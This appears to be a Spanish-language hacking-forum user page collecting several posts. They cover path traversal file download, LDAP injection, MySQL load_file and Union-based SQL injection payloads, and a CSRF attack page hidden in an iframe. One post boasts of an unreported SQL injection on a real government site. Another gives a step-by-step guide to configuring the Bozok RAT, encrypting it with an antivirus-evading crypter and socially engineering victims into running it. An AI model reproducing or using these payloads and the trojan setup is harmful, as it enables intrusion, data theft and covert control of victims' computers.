Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - M5f3r0

#1
Hacking / Arbitrary File Download
Noviembre 02, 2013, 02:54:01 PM

Ejemplo de Arbitrary File Downloading en Wordpress

Buenas comunidad de Underc0de, Algunos deben saber o pudieron haber notado estuve varios días o hasta creo que hasta 1 MES sin actividad, era debido a que no tuve Internet para comunicarme pero ahora ya me llego la reconexión y intentare hacer post's más seguidos ya sean relacionados con la Seguridad web u la programación, o algún otro tema en particular con referencia a la informática en general. 

Bueno, en fin, en esta ocasión a hablarles acerca de "Arbitrary file download" o en español "Descarga arbitraria de ficheros/archivos", así que vayamos a ello.

Introducción

A lo largo del tiempo se han descubierto muchos tipos de técnicas y metodologías de trabajo acerca de temas variados tanto en la [In]seguridad web como en la [In]seguridad informática, en la que muchos atacantes las emplean para su indebido uso en la auditoria de sistemas informáticos.

En la inseguridad web han surgido múltiples bugs y vulnerabilidades en la cual el nivel de peligrosidad es alto, con las cuales se han llegado a interceptar muchas veces la seguridad del sistema. Por lo tanto, debemos estar atentos a la hora de programar o analizar líneas de código en nuestros ficheros.

Y si vamos a usar una CMS como plantilla de nuestro sitio web, debemos hacer uso de una en la que ya tengamos información acerca de su entorno en el sistema.

Por lo tanto de lo hablado en está pequeña introducción, lo que queremos decir es que la seguridad es muy importante llevarla a cabo en el sitio web, ya que como sabemos aún existen atacantes que no tienen nada de ética y tienen como fin la alteración del sitio web sin razón alguna.

¿Qué es "Arbitrary File Download"?

La Arbitrary file download vendría siendo una técnica perteneciente al árbol de la inseguridad web, en la cual se lleva a cabo la descarga de archivos arbitrarios del servidor web. Por ejemplo, la descarga con referencia a la configuración MySQL del servidor, o hasta podemos llegar a descargar archivos que no se encuentran en el directorio de raíz (si es que tiene el servidor incorporado en su pc y no usa un hosting). Ej: descargar.php?archivo=../.. /.. /.. /Windows/archivo

Esta vulnerabilidad es de un alto peligro, ya que un atacante podría descargar archivos con información privada del usuario que pueda llegar a alterar todo el sistema.

Es provocada debido a que no hay validación en el nombre del archivo a descargar, por lo tanto, debemos añadirle una para evitar que cualquier intruso pueda hacer la descarga de cualquier archivo perteneciente al servidor.

Escenario

Para llevarla a cabo, debemos comprobar si la aplicación es vulnerable. Para ello, debemos realizar un análisis al sitio web para chequear si tiene algún servicio de descarga de archivos, lo más común es la descarga de libros o PDFs en sitios web, entonces, supongamos que tenemos el siguiente parámetro:

descargar.php?archivo=libro.pdf

Como pueden notar, al ejecutarlo la acción automáticamente se descargara el archivo "libro.pdf", PERO, que pasaría si en el código del archivo no hay una validación con el nombre "libro.pdf"?, es decir, podríamos descargar cualquier archivo que se encuentre en el servidor.

Algo fundamental al momento de realizar este proceso, es tener el cuenta el ../ , con lo cual se realiza un recorrido hacía atrás de directorio. Es decir, si el archivo vulnerable se encuentra dentro de una carpeta y queremos descargar un archivo que se encuentra fuera de esa carpeta, deberíamos hacer un recorrido hacía atrás, para ello usamos el ../ , ejemplo:

descargar.php?archivo=../index.php

Y automáticamente se descargara el archivo "index.php". Con esto, ya tendremos por seguro que la aplicación es vulnerable.

Metodología de trabajo

Aquí les vengo a mostrar una metodología de trabajo para su uso al momento de tener una aplicación web vulnerable, es el proceso de análisis en el archivo, debemos ver si existe o se está requiriendo de algún otro archivo del servidor, por ejemplo si vemos que se requiere un proceso en un formulario podemos seguirlo y descargarlo.

Si conocemos alguna otra página existente en el sitio web, lo descargamos igualmente en el servidor y vemos que tiene incluido, más que todo deberíamos descargar una página en la que notemos que requiere de la ejecución de consultas al servidor MySQL, ya que estás páginas requieren de la configuración a la base de datos.

La mayoría de estás páginas pueden ser:

- Página de contactos
- Registro
- Logeo
- Noticias con comentarios
- Búscadores


Entre otros, aunque también podemos usar el método brute force.

Otro método de trabajo sería la búsqueda de archivos fuera del directorio raíz, un ejemplo sería lo siguiente:

descargar.php?archivo=../.. /.. /.. /Windows/System32/drivers/etc/hosts

Con esto descargaríamos el archivo "hosts" de la carpeta windows.

Y bueno, eso ha sido todo! espero les haya gustado.

Saludos, M5f3r0!
#2

LDAP

Las siglás de "LDAP" hacen referencia a "Lightweight Directory Access Protocol" o en español "Protocolo Ligero de Acceso a Directorios", es un protocolo de acceso ligero a directorios en el cual hay almacenado un conjunto de información de una red especifica. Existen distintas versiones de LDAP, por ejemplo, en Windows existe "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta", es un servicio de directorio perteneciente a Microsoft, es decir, es como un protocolo de LDAP compatible con Windows, también existe Apache directory service, supongo que muchos ya deben conocer Apache. En LDAP se ejecutan querys/consulta, es un poco parecido a SQL.

Inyección LDAP

Entonces, con la definición de LDAP ya tenemos nuestras deducciones sobre que es la Inyección "LDAP" , La inyección LDAP básicamente es una técnica con la cúal "alteramos" los datos de validación de entrada que ejecutamos al procesar una acción, es casi parecida a la Inyección SQL pero está usa filtros, por ejemplo, Tenemos un formulario HTML con el cual vamos a hacer una búsqueda de texto en un sitio web; procesamos los datos de entrada y nos da como resultado si se encontró algún texto que este relacionado con lo ingresado. Podemos alterar la consulta que se ejecuta en el protocolo LDAP de manera que nos devuelva como por ejemplo la credencial de X usuario de una cédula de identidad. De la siguiente manera:

Escenario

Formulario HTML:

Código: HTML5
Búscar: <input type="text" name="user" />
<input type="submit" value="Buscar" />
</form>


Más o menos ese sería el formulario, entonces, cuando ejecutamos esto se ejecuta una query de parte de LDAP procesando los datos, de la siguiente manera:

Procesamiento:

Código: LDAP
string user = Request.Querystring("user")
String ldapSearchQuery = "(cn=" + user +")";


Allí, Con Request.Querystring("user") estamos requiriendo en la query la cadena de la entrada "user", es decir, del input user, en la otra línea estamos haciendo una BUSQUEDA de un string/cadena, y hacemos entre los parentesis un filtro con el cúal usamos el atributo "cn" (nombre común o Common Name), entonces, esto sería igual a una concatenación de los datos enviados en el input.

Entonces, si un atacante ejecuta lo siguiente en el formulario:

"m5f3r0)(|(email=*)"

Básicamente ya tenemos una idea de lo que hace, esto nos retornara el email del usuario "m5f3r0"

Allí, los filtros serían lo que va entre parentesis (), también estamos haciendo uso del operador lógico OR | , existen otros dos como AND & y NOT ! .

Podemos notar en la consulta del procesamiento que usamos "string" y "String" ambos significan el llamado de una cadena.

Hemos logrado alterar la consulta como si fuese una ejecución remota, entonces, mediante la validación de entrada hemos retornado un valor "privado" de un usuario.

Operadores lógicos:

AND: &
OR: |
NOT: !


Para hacer uso de los operadores lógicos, iniciamos con un paréntesis () (filtro). y entre el paréntesis colocamos el operador , luego iniciamos con otro paréntesis con el atributo y su respectivo valor.

(&(atributo=resultado))

Y si colocamos otro atributo simplemente luego de eso abrimos otro parentesis. De está misma forma, podemos usar otros operadores.

Creación de consultas

Para la creación de consultas debemos tener conocimientos básicos acerca de como funcionan algunos filtros de LDAP, operadores, uso de atributos, etc. Para ello, existe mucha documentación en línea que con leerla les garantizo que ya sabrán crear sus propias consultas. Aquí les dejo algunos sitios para aprender mucho más:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bueno, eso ha sido todo, espero les haya gustado el tema aunque fuese poco con poca documentación, actualmente estoy estudiando más está técnica ya que es un POCO complicada, a pesar de la poca información que existe en la red. Tal vez haga más post con más información completa acerca de esto mismo.

- Créditos:

- M5f3r0: Por el post y las explicaciones acerca de la Inyección LDAP.
- Elladodelmal: Por el post acerca de la inyección LDAP, fue mi guía de referencia y allí es dónde estoy estudiando más acerca de está técnica.
- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Otra guía de referencia, y la query/consulta de búsqueda de una cadena/string me la hice en base al planteamiento dado allí.

- Referencias:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos, M5f3r0!
#3
Buenas comunidad de underc0de, como algunos pudieron haber notado estube varios días o hasta 1 mes sin actividad en la red, ya que no he tenido internet para conectarme, me podrán ver los online solo los fines de semana hasta que me llegue la reconexión. Pero bueno, en fin, comenzemos con el post.

Ciertas veces cuando estamos auditando la base de datos de un servidor web, podemos notar que no encontramos mucha información (solo en algunos casos) solo acerca de almacenamiento y logs de usuarios o secciones del servidor, esto es debido a que muchos de los programadores almacenan y registran datos en ficheros o archivos locales del servidor web tales como la conexión al MySQL, datos generales acerca del funcionamiento de procesos en páginas del sitio, etc.

Para ello, existen varios métodos para la extracción de información en ficheros, pero en está ocasión veremos algo acerca de "RFD" o "Remote file downloading" lo cúal es útil para extraer la source de archivos, en dónde, extraeremos la información mediante funciones de gestores de bases de datos tales como MySQL, Oracle, etc.

1.- ¿Qué es RFD?


RFD vendría siendo un proceso mediante el cúal un atacante sería capaz de descargar ficheros o sources de archivos que se encuentran en un servidor web, tales como la index/página principal, página de contactos, o hasta ficheros con información que puedan corromper toda la seguridad del sitio web.

Un método para ejecutar un proceso de RFD sería mediante gestores de bases de datos, tales como MySQL o oracle, en la que usamos funciones para leer o descargar archivos del servidor web. Pero en este caso, lo veremos con MySQL ya que no estoy muy especializado que se diga con otros gestores.

- MySQL:

En MySQL existe una función la cúal permite el contenido o source de un archivo en un servidor web, pero para poder ejecutar la función es necesario que el usuario MySQL tenga un cierto privilegio, llamado "FILE".

La función se llama "load_file()", por lo tanto, la debemos ingresar en la columna vulnerable, por ejemplo (Union based):

UB (Union based):

"UNION SELECT 1,load_file(0xnombredearchivohex),3,4,5,6 #".

Ese se ejecuta en una SQLi de tipo Union Based.

Blind Boolean Based:

En una Blind Boolean Based, como sabemos, obtenemos los resultados basándonos en valores booleanos, ya sea "true or false" o "verdadero y falso". Por lo tanto, obtendremos uno de los dos resultados.

"and ascii(substring(load_file(0xarchivoenhexadecimal), 1,1)=97"

En este caso, le estoy preguntando al servidor si el primer carácter de la source del archivo codificado en hexadecimal comienza con la letra "a", Este me respondera con un valor true or false.

Bueno, eso ha sido todo, espero les haya gustado. Saludos!
#4
Buenas comunidad de Underc0de, en está ocasión les presento un nuevo PDF que he escrito por casi un mes, se trata acerca de la MySQL Injection o SQL Injection en MySQL, no tiene mucho contenido que se diga, pero trae algunas técnicas útiles para el momento de vulnerar un sitio web o servidor. Espero sea de su agrado.

- Índice de temas:

Acerca de.. :

1.   Saludos .................................................................................................................. 11
2.   Contáctame ......................................................................................................... 12
3.   Créditos ................................................................................................................. 13

MySQL Injection:

1.   El uso de un Full path disclosure ....................................................................... 3
2.   Hex + INTO OUTFILE() (Union based) ............................................................... 5
3.   load_file() ............................................................................................................... 7
4.   Blind Boolean Based: ........................................................................................... 8
-   Extrayendo el nombre de la DB ........................................................................ 8
-   Extrayendo los nombre de las tablas .................................................................. 9
-   Extrayendo los nombres de las columnas ........................................................ 10
-   Extrayendo los registros de una tabla ............................................................... 10
-   Proceso automatizado con SQLmap ................................................................. 11

- Leer online: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

- Descargar: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Espero les guste. Saludos! M5f3r0.
#5
Hacking ShowOff / www.inameh.gob.ve - SQL Injection [UB]
Septiembre 28, 2013, 02:32:48 PM
Buenas comunidad de underc0de, en está ocasión les comparto una nueva SQLi Union based que encontré testeando en "inameh.gob.ve", espero les guste y sea de su agrado :).

- Imágen:



- Autor: M5f3r0
- Tipo: SQLi
- Método: GET
- URL vulnerable: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
- Reportado?: No.

Un saludo, M5f3r0!
#6
Bugs y Exploits / Ataques CSRF (Cross site request forgery)
Septiembre 03, 2013, 08:15:10 PM
Ejemplo de ataque CSRF

Un ataque CSRF/XSRF o Cross site request forgery vendría siendo un exploit o vulnerabilidad la cúal se da en aplicaciones web en la que el usuario víctima realiza ciertas peticiones falsificadas en aplicaciones web vulnerables, la víctima al abrir la CSRF automáticamente lograra ejecutar u/o modificar registros sin su intención.

Para poder llevarse a cabo un ataque CSRF se debe hacer uso de la ingeniería social, con la cúal podamos lograr que el usuario víctima acceda a nuestra página la cúal debe tener el csrf oculto, está se encargara de ejecutar el CSRF sin que el usuario víctima se pueda dar cuenta.

Código vulnerable

Un código vulnerable podría ser el siguiente:

pagina.html :

Código: HTML5

<form action="process.php" method="POST">
Texto: <input type="text" name="text" /><br><br>
<input type="submit" />
</form>


Como pueden observar, no hacemos ningún envío de token para tener una identificación única. Con lo cúal, nuestro formulario es vulnerable a ataques CSRF. En este caso, solo tenemos un simple formulario que no almacena ni registra nada, pero imagínense uno que sí. Sería de grave peligro.

process.php :

Código: PHP

<?php
if(isset($_POST['text']) && !empty($_POST['text'])){
echo "Hola";
}
else{
echo "Error";
}
?>


Este es solo un simple proceso, el cúal verifica si el input de texto "text" no este vacío. si es así, lanza un mensaje diciendo error.

Preparando nuestro código CSRF de ataque

Pues para preparar el escenario de ataque, el atacante necesita tener conocimientos en la programación web, ya sea PHP, JS u HTML. Aquí les presento una estructura de código en php la cúal he creado especialmente para el formulario anterior vulnerable:

Código: PHP


<?php

$urlvulnerable = "localhost"; // Link del sitio
$valor = "M5f3r0 was here!"; // Valor a modificar

echo '<form action="'.$urlvulnerable.'/process.php" name="csrf" method="POST">'; // Ingresamos la url del formulario a ejecutar
echo '<input type="hidden" value="'.$valor.'" name="text" />'; // Ingresamos el nombre del input y el valor a ingresar.
echo '<body onload="document.csrf.submit();">'; // Ejecutamos el documento con el script "document.csrf.submit();"
echo '</form>';

?>


En este código simple, solamente ejecutamos el valor ingresado en el csrf en la página web vulnerable, identificándonos como nuestro usuario víctima.

Camuflando nuestra CSRF

Existe un método para evitar que nuestro CSRF de ataque se note sospechoso, sería camuflando nuestro código de ataque mediante el uso de HTML u algún otro lenguaje de programación web, tal como JS, jQuery, HTML, o tal vez un simple index en el que camuflamos nuestro código mediante el uso de un <iframe> en html.

Un ejemplo sería el siguiente, en el que camuflamos nuestro CSRF en una index con un iframe:

Código: HTML5

<html>
<head><title>Bienvenid@</title></head>
<body>

<h1>Bienvenid@ a mi sitio web :)</h1>

<iframe src="http://websitedelatacante.com/csrfoculto.php" width=0% height=0% />

</body>
</html>


Aunque es muy claro que este se nota muy sospechoso, es cuestión de saber HTML5 y montar una index común y corriente, para luego enviarsela a la víctima.

Defensa

Para poder defendernos de este tipo de ataques, yo recomiendo hacer uso de algún envío de un token como una sesión en php. Haciendo uso de la función session_start() , el hash md5() u sha1() para la encriptación, uniqid() para un identificador único y rand() para dar un entero aleatorio. Ejemplo:

token.php :

Código: PHP

<?php

session_start();

?>
<html>
   <head><title>Hola</title></head>
   <meta charset="utf-8">
   <body>
        <?php $_SESSION["envio_token"] = sha1(uniqid(rand(), TRUE));
        echo '<form action="process.php?envio_token='.$_SESSION["envio_token"].'" method="post">';
                 echo 'Ingrese algún texto: <input type="text" name="text"><br><br>';
echo '<input type="submit" value="Ejecutar">';
        echo '</form>';
?>
   </body>
</html>


Y cómo pueden observar, tenemos un identificador único y un número aleatorio cifrado en sha1 como sesión. Y luego ejecutamos el token por el método GET.

process.php :

Código: PHP

<html>
   <head>
   <title>Proceso</title>
   </head>
   <body>
        <?php
             if($_GET["envio_token"] == $_SESSION["envio_token"]){
echo 'Se ha ejecutado el token correctamente';
    }
else{
    echo 'Error';
            }
       ?>
   </body>
</html>


Y en este proceso, comprobamos que el token que se envío por el método GET es el mismo de la sesión que tenemos iniciada. Si es así, muestra un mensaje avisando que todo se ejecuto correctamente.

Bueno, eso ha sido todo. Espero les haya gustado, si me equivoco en algo corrijanme y actualizo el post ;D.

Un saludo, M5f3r0.
#7
Imágen del primer RAT desarrollado por Caesar2k

Buenas comunidad de underc0de, en está ocasión les traigo un RAT llamado "Bozok 1.4" con la configuración del servidor para el troyano. También les traigo un Crypter 100% FUD el cual me lo encontré en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (no es mío), . Primero que nada, daremos una explicación de que es un RAT y un Crypter FUD,

1.- ¿Qué es un RAT?

Un RAT "Remote administration tool", como su nombre lo indica, vendría siendo una herramienta para la administración remota de nuestro troyano el cúal lo debemos tener alojado en un servidor configurado, que al abrirlo automáticamente la víctima queda totalmente infectada y el atacante podrá administrarlo de manera remota. El primer RAT fue desarrollado por un hacker informático llamado "Caesar2k", salio por primera vez el año 2003.

El nivel de peligrosidad es de alto riesgo o muy grave ya que el atacante puede ver el escritorio de manera remota, usar un keylogger si es que lo tiene incorporado y hasta activar la webcam de la víctima sin que se de cuenta.

En este tutorial veremos como configurar nuestro servidor para el troyano con el RAT llamado "Bozok 1.4" y entederemos como usar un Crypter FUD.

2.- ¿Qué es un Crypter FUD?

Un crypter vendría siendo la herramienta con la cúal encriptamos nuestro troyano con el fin de hacerlo indetectable para el antivirus de la víctima, de manera que cuando sea ejecutado este mismo no lo detecte. Y "FUD" vendría siendo "Full un-detectable" y en español "Completamente indetectable".

3.- Abriendo puertos y configurando las conexiones:

Antes de configurar el servidor del RAT, para los que tienen un router yo les recomiendo tener el puerto 81 abierto, TCP y UDP. El cúal es como un puerto alternativo del 80, También puede abrir si quieren el 1515.

Para abrir el puerto nos dirigimos a la ruta del router, en mi caso es 192.168.0.1, Mi router es de la marca Nexxt y lo configuro de la siguiente manera:

LAN IP (en mi caso): 192.168.0.100 (Para verificar cúal es la suya en windows, vayan a la CMD y tecleen ipconfig, y colocan la que sale en IPv4)
Protocolo: Both (los dos, TCP y UDP).



Luego de esto, debemos registrarnos en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta , les enviara un email de confirmación de cuenta, lo activan y se logean de forma normal.

Luego de esto se van a: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta , En el que se crearan un host, para ello darán click en "Add Host" y en el campo de formulario "Hostname:" colocan el nombre de su dominio, luego de eso le dan click en el botón nuevamente "Add host".



Después de esto, nos vamos a la página principal del no-ip y abrimos la sección "Download" de la barra de navegación, en el que vamos a descargar el No-ip duc, el cliente de actualización dinámica de DNS. Click en "Download now" y instalan el no-ip duc. Ya instalado esto ejecutamos el no-ip DUC y nos saldra una pequeña ventana con 3 opciones, primero daremos click en la 1ra opción dónde especificaremos nuestro login y password de nuestra cuenta.

Luego de haberse logeado damos click en "Edit Hosts" y seleccionamos la casilla del host de la conexión del troyano. Y automáticamente se irá refrescando el host.

Ahora nos vamos a la siguiente ruta:

C -> Windows -> System32 -> drivers -> etc y damos click derecho sobre el archivo hosts, luego click en propiedades y abrimos la opción "seguridad" y damos click en Usuarios luego en editar para modificar los privilegios.

Luego activamos todas las casillas:



Ahora tenemos todos los permisos para modificar los archivos, con algún editor de texto ejecutamos el archivo hosts, y tendremos lo siguiente incorporado (si es que no ha sido modificado):

Código: php
0# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      *****     rhino.acme.com          # source server
#       ******     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
# 127.0.0.1       localhost
# ::1             localhost
127.0.0.1        localhost


En una nueva línea, especificamente debajo de 127.0.0.1 colocamos la dirección LAN que especificamos en la del puerto 81, en mi caso es 192.168.0.100 , y a un espacio colocamos el dominio de nuestro host que hemos creado en el no-ip , en mi caso es "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" , ejemplo:



Luego guardamos los cambios y listo, tenemos las conexiones configuradas del troyano.

4.- Configurando el servidor del troyano:

Para configurarlo, primero debemos ejecutarlo abriendo el exe "Client" (es 100% seguro está limpio):

Luego de esto, se nos abrirá la siguiente ventana:



Damos click en el icono inferior de abajo que está al lado derecho de la llave, Se nos abrirá una ventana en la que especificaremos el puerto, en dónde dice "Listen on port" reemplazamos el 1515 por el 81 y en la parte de abajo, colocamos la contraseña que quieran, ej: 123123.

Y marcamos las dos casillas que están debajo. Una que es para la auto-carga de plugins y otra para la auto iniciada de la captura de pantalla. Luego damos click en "Save"



Bien, ya realizado este paso, damos click en el icono de la llave que está al lado izquierdo, dónde se nos abrira una ventana la cúal es la configuración del servidor.

En dónde dice "Server ID" colocaremos el nombre o algún texto que se le dara a una victima, ej: Usuario conectado , Y en password igual colocan: 123123 . Luego en puerto colocan el 81.

Después de esto, en el campo vacío de abajo damos click derecho y damos click en "Add conection" , se nos abrira una ventana en la que especificaremos "SOLO" la url de nuestro host creado en el no-ip , esta sera la del servidor, Luego le dan en OK.



Ahora pasamos al siguiente paso, damos click en "Installation", aquí marcaremos la casilla "Install server", en dónde especificaremos el nombre del archivo.

La siguiente opción "Visible mode" sera en caso de que la vayamos a testear a ver si funciona, si es así les recomiendo activarla.



Luego nos vamos al siguiente paso, llamado "Startup" , en este paso colocamos nuestro nombre o cualquier nombre, ej: "M5f3r0".

Después de esto nos vamos a "Extension" , Aquí simplemente especificamos la extensión de nuestro archivo ejecutable. Le colocamos la extensión que llevara, en mi caso sera .exe , Luego marcamos la casilla "Include Extension".



Ahora pasamos a "Build" , en el que nos saldrá el nombre del archivo ejecutable , ya teniendo todo listo damos click en "Build" para guardar los cambios.

Aviso: Debemos tener el antivirus desactivado como por 10 minutos para poder guardar los cambios en el archivo ejecutable, si no, lo movera al baúl de virus.



Y luego tendremos todo listo, el troyano creado satisfactoriamente. Ahora procederemos a su encriptación con el Crypter FUD para hacerlo indetectable ante el antivirus.

5.- Encriptando el troyano con el Crypter FUD

Antes de ejecutar este crypter debemos instalar "Ronda OCX" , para ello abrimos el instalador y damos click en Next -> next -> hasta que se termine la instalación.

Luego podemos ejecutar el crypter abriendo el archivo "Project1". Luego se nos abrirá lo siguiente:



Daremos click en el primer botón en dónde seleccionaremos la ruta en dónde se encuentra nuestro troyano, luego daremos click en el siguiente botón para especificarle el nombre y la ruta en dónde lo guardaremos.

Después de esto, nos saldra una alerta diciendo "Pronto" es decir, el archivo ejecutable ya lo tendremos encriptado por lo cúal el antivirus no lo podrá detectar.

Ahora es cuestión de usar la ingeniería social para mandarle nuestro troyano a la victima para que la pueda ejecutar y quede totalmente infectada.

- Pruebas de que funciona el Crypter:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



- Créditos:

* M5f3r0 (Mufero): Por el post, las explicaciones y la configuración del servidor para el troyano.
* J0R4X: Por algunas explicaciones.
* sudo (de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta): Por el crypter, no se si sea de él, ya que fue quien realizo el post. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
* Slayer616: Coder del rat (creador).
* Coughs: Tester del rat.
* DarkPringles: Tester del rat.

- Descargas:

RAT:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Crypter FUD:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Trae contraseña, tendrán que decodificarla: -.. .-. .- --. --- -.

Post del crypter: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Instalador Ronda OCX:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (el enlace no es mío)

- Aviso importante:

No me hago responsable del uso que le den a la herramienta y lo empleado en el tutorial, fue realizado solo con fines educativos.

Eso ha sido todo amigos, saludos y espero les haya gustado el post.
#8
La Inyección SQLi vendría siendo una técnica muy conocida en la internet, la cúal consiste en la ejecución de consultas SQL a la base de datos que se presentan en una aplicación web, La Inyección SQL se debe a la mala filtración de nuestras variables las cúales son llamadas en nuestras consultas SQL.

Existen dos formas en la vulnerabilidad SQLi, String o Integer. La String vendría siendo como cuando tenemos una variable la cúal está encapsulada entre dos "$id" y la integer en caso contrario.

- Union Based:

Para iniciar el curso comenzaremos con lo más básico, "Union Based", La cúal se basa en la selección de una union, en la que hacemos uso de la sentencia "SELECT", un ejemplo en una consulta SQL:

Código: php
SELECT id,0x7e,username,0x7e,password,0x7e,email FROM users


Vendría siendo una consulta SQL la cúal se encarga de seleccionar las columnas "id,username,password y email" que pertenecen a la tabla "users".

Y como lo pudieron notar use "0x7e" lo que equivale a ~ en hexádecimal y use al principio 0x para que el servidor MySQL lo pueda entender. Lo uso para distinguir los resultados.

1.- Consulta vulnerable en nuestro archivo PHP:

Código: php
$sql = "SELECT * FROM users WHERE nombre='m5f3r0'"; // Consulta SQL vulnerable en la variable $sql
mysql_query($sql) // Hacemos la consulta


La consulta SQL vulnerable se encontraría en nuestra variable $sql en la que hacemos una selecciçon de la tabla "USERS"

Y al final procedemos a realizar la consulta MySQL llamando a la variable $sql la cúal contiene nuestra consulta que haremos a la base de datos, y luego uso "WHERE" para llamar a la columna "nombre" y seguidamente de algún registro o valor, en este caso "m5f3r0".

2.- Identificación entre "String y Integer"

Bueno, ya entendemos la consulta SQL vulnerable en nuestro sitio, ahora procederemos a la extracción de los datos del servidor mediante el uso de consultas SQL. Antes de hacer esto, debemos conocer el tipo de vulnerabilidad, es decir, si es String o Integer. Anteriormente ya explique que son estás dos cosas.

En la URL del sitio web vulnerable, supongamos que tenemos la siguiente ruta:

www.vulnerable.com/categoria.php?id=1

En dónde procederemos a realizar nuestras consultas seguidamente del parámetro "ID" el cúal es el vulnerable.

Primero comprobaremos si es string, para ello coloquemos una ' al final del id 1, ejemplo: categoria.php?id=1'

Y nos reflejara el error "You have an error in your SQL;.." , ahora colocaremos al final algún comentario en MySQL. MySQL permite los siguientes comentarios:

1: -- - o -- Comentarios de 1 sola línea
2: # Comentario de 1 sola línea
3:
/*
y
*/ Comentarios de varías líneas

Lo que vaya seguido de estos comentarios no lo leera el servidor.

Entonces procedemos, para comprobar si es string seguido de la ' añadimos algún comentario, yo usare -- - . Si automáticamente se nos fixea (es decir, se nos quita el error) significa que es de tipo String.

En caso contrario, es decir, si no se fixea significa que es integer y tendremos que hacer la inyección sin una ' a partir de ahora, ej: categoria.php?id=1 SELECT 80+1 -- -comentario

3.- Comprobar las columnas vulnerables

Seguidamente debemos comprobar cuales son las columnas vulnerables a las que procederemos a inyectar, para ello, haremos uso de la clausula "order by" o "group by" una se encarga de ordenar y la otra de agrupar. Para ello inyectaremos lo siguiente en la URL:

categoria.php?id=1 order by 10 -- -comentario

Si nos sale algún resultado como "in order clause"

Esto significa que no coincide con el número especificado, es decir, tiene menos columnas. Pero si en caso de que nos salga la página normal, significa que tiene más columnas o tiene esa misma que hayamos especificado.

Yo probe con 10 y si coloco 9:

categoria.php?id=1 order by 9 -- -comentario

Y me sale la página normal significa que tiene 9 columnas, ahora haremos uso de las sentencias "UNION SELECT 1,2,3,4,5,6,7,8,9".

Ahora podemos proceder a la extracción de datos del servidor y del sitio web.

3.- Extrayendo los nombres de las bases de datos

Ahora procederemos a la extracción de los nombres de las bases de datos, para ello haremos la extracción de metadatos (datos de otros datos por decirlo así) los cuales se encuentran en una base de datos especial del servidor MySQL llamada "information_schema" , la cúal almacena todo tipo de datos de nuestro servidor, como nuestro usuario MySQL, privilegios, nombres de tablas, bases de datos, etc..

En la base de datos "information_schema" hay una tabla llamada "schemata", en la cúal se almacenan los registros de los nombres de nuestras bases de datos, que creamos nosotros mismos.

En está tabla se encuentra una columna llamada "schema_name" , que es en la que se almacenan los registros. Procederemos a extraer dichos datos, pero antes de esto haremos la siguiente consulta para extraer las columnas vulnerables:

categoria.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9 -- -comentario

Y añadimos un - a un lado del 1. Y lo ejecutamos en la página y de repente nos dispara unos números, los cúales son las columnas vulnerables dónde procederemos a inyectar.  Supongamos que la columna vulnerable es la 2, inyectaremos allí.

Bien, ahora procederemos a la extracción de los nombres de las bases de datos, para ello usaremos la siguiente consulta:

categoria.php?id=1 UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata -- -comentario

Aquí hacemos uso de la función group_concat() , la cúal es para la concatenación con un separador de los registros en la columna "schema_name" , aunque solo extrae 1 mb de datos. Y seguidamente al final de los números uso from information_schema.schemata , con esto especifico "de la base de datos de la tabla schemata" . Y automáticamente empezara a reflejar los datos con los nombres de todas las bases de datos del servidor MySQL.

Ciertas veces, pueden haber más datos de lo que soporta el group_concat() , así que podemos usar "LIMIT" el cúal es para limitar los resultados, lo añadimos al final de toda la consulta, limit 0,1 , limit 1,1 , limit 2,1 y así sucesivamente. Ej: categoria.php?id=1 UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata limit 1,1 -- -comentario


Y si solo queremos extraer el nombre de la currente base de datos del sitio web, hacemos uso de la función database() el cúal lo inyectamos en la columna vulnerable. ej: categoria.php?id=1 UNION SELECT 1,database(),3,4,5,6,7,8,9 -- -comentario

Automáticamente nos lanzara el nombre currente de la base de datos.

4.- Extracción de los nombres de las tablas

En la base de datos information_schema existe una tabla llamada "TABLES" , la cúal tiene una columna llamada "table_name", en la que se almacenan todos los nombres de todas las tablas que existen en todas las bases de datos. En dónde procederemos a extraer los nombres de las tablas. Para ello, usaremos la siguiente consulta:

categoria.php?id=1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=0xnombredeladb -- -comentario

En dónde table_name vendría siendo el nombre de la columna en la que se encuentran los datos de las columnas y "tables" que vendría siendo el nombre de la tabla en dónde se encuentran los datos, y use where para especificar que los resultados pertenezcan a uno de los datos de la columna "table_schema" y al final podemos usar la función char() la cúal es para codificar algún texto en charcode, o usamos hexadecimal para ello mismo. haciendo 0x+elnombredeladb+ .

Y automáticamente se nos empezara a lanzar los nombres de todas las tablas que existen en la base de datos que especificamos por su nombre. Aunque también podemos usar LIMIT para limitar los resultados y búscar 1 por 1 .

5.- Extrayendo los nombres de las columnas de una tabla

